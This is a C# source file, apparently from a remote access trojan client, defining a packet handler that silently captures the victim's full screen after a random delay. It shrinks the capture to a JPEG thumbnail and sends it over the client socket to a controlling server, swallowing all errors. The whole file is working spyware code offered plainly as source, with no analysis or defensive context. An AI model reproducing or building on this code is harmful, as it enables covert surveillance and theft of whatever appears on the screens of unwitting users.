41 lines
1.4 KiB
C#
41 lines
1.4 KiB
C#
using Client.MessagePack;
|
|
using Client.Connection;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Windows.Forms;
|
|
using System.Threading;
|
|
namespace Client.Handle_Packet
|
|
{
|
|
public class HandleThumbnails
|
|
{
|
|
public HandleThumbnails()
|
|
{
|
|
try
|
|
{
|
|
Thread.Sleep(new Random().Next(3000));
|
|
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
|
|
using (Graphics g = Graphics.FromImage(bmp))
|
|
using (MemoryStream memoryStream = new MemoryStream())
|
|
{
|
|
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
|
|
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
|
|
thumb.Save(memoryStream, ImageFormat.Jpeg);
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
|
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
|
ClientSocket.Send(msgpack.Encode2Bytes());
|
|
thumb.Dispose();
|
|
}
|
|
bmp.Dispose();
|
|
}
|
|
catch { }
|
|
}
|
|
}
|
|
}
|